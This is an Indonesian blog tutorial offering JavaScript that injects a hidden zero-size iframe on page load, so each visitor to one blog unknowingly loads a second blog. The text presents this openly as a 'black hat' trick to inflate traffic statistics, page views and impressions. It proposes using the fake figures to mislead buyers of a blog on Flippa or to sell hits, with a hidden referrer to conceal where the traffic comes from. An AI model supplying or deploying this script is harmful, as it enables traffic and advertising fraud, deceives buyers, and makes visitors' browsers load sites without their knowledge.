< script type=”text/javascript”>
window.onload = function()
{
var hidframe = document.createElement(’iframe’);
hidframe.setAttribute(’src’,’http://www.blog-tujuan.com’);
hidframe.style.width = “0px”;
hidframe.style.height = “0px”;
hidframe.style.visibility = “hidden”;
document.getElementById(’hifbody’).appendChild(hidframe);}
Ganti isi atribut src (contoh http://www.blog-tujuan.com) dengan domain blog yang ingin anda kirimi trafik.
Lalu pasang kode berikut di dalam area tag < body > sebelum tag < / body >.
< div id=”hifbody”></div>
Cara kerja script ini adalah, setiap pengunjung membuka blog utama anda akan otomatis membuka blog tujuan tanpa disadari oleh pengunjung. Meski halaman blog tujuan tidak terbuka atau tidak tampil di browser karena di sembunyikan, namun tetap tercatat sebagai visitor, page views, hits, atau impression. Pasang statistik atau script pemantau pengunjung untuk melihat buktinya.
Artinya, jika ada 200 visitor di blog utama anda yang dipasangi script ini, maka dalam waktu yang sama 200 visitor tadi juga sedang mengakses blog tujuan.
Lalu ide apa aja yang bisa dimanfaatkan untuk mengambil keuntungan dari cara ini? Contoh, jika anda berencana menjual blog di Flippa, tentu akan sangat menarik pembeli jika disertai statistik trafik yang oke bukan?
Ide lain adalah dengan berbisnis jualan traffik atau jualan hits. Tinggal menambahkan sedikit modifikasi pada kode diatas supaya bisa mencatat hits yang terkirim pada sebuah database. Tidak lupa menambahkan script hide referrer atau blank referrer untuk menyembunyikan asal trafik.
Ini memang Black Hat, memakainya atau tidak, terserah anda.